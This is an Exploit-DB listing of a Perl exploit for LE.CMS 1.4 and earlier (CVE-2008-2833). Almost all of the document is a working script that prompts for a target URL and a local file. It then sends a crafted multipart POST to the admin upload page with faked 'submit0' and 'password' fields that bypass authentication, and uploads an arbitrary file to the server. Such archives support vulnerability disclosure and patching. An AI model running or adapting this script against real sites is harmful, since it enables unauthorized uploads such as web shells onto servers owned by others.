LE.CMS <= 1.4 - Remote Arbitrary File Upload Exploit

2008-06-21T00:00:00
ID EDB-ID:5887
Type exploitdb
Reporter t0pP8uZz
Modified 2008-06-21T00:00:00

Description

LE.CMS <= 1.4 Remote Arbitrary File Upload Exploit. CVE-2008-2833. Webapps exploit for php platform

                                        
                                            #!/usr/bin/perl

use strict;
use warnings;
use LWP::UserAgent;
use HTTP::Request::Common;

print &lt;&lt;INTRO;
- - - - - - - - - - - - - - - - - - - - - - - - - - - -
- LE.CMS &lt;= 1.4 Remote Arbitrary File Upload Exploit  -
-                                                     -
 -                                                   - 
  -        Discovered && Coded By: t0pP8uZz         -    
   -          Discovered On: 19 JUNE 2008          -
   -                                               -
  -     Script Download: http://worldlevel.com      -
 -   milw0rm.com, h4ck-y0u.org, CiperCrew, offsec    -
 -                                                   -
- LE.CMS suffers from a arbitrary file upload vuln..  -
- .. this exploit will upload any file to the server  -
- - - - - - - - - - - - - - - - - - - - - - - - - - - -
INTRO

print "\nEnter Target URL(ie: http://site.com): ";
    chomp(my $host=&lt;STDIN&gt;);
    
print "\nEnter Local File Path To Upload(ie: C:\\file.txt): ";
    chomp(my $file=&lt;STDIN&gt;);

my $ext   = substr $file, rindex $file, '.';
my $fname = int rand 9999;
my $ua    = LWP::UserAgent-&gt;new( agent =&gt; 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)', cookie_jar =&gt; {} );

my $re = $ua-&gt;request(POST $host . '/cms/admin/upload.php',
                        Content_Type =&gt;   'form-data',
                        Content      =&gt; [ 'submit0'  =&gt; 'authed', # if script reads this as TRUE then the script thinks we have already authenticated the username/password, only 0 or undef is false
                                          'submit'   =&gt; 1, 
                                          'password' =&gt; 1, # as long as this is true we should be able to upload
                                          'filename' =&gt; $fname,
                                          'upload'   =&gt; [ $file ] ] );

die "Exploit Failed, HTTP Request Failed!" unless $re-&gt;is_success;

print "File Uploaded! Location: " . $host . "/cms/images/" . $fname . $ext . "\n";
exit;

# milw0rm.com [2008-06-21]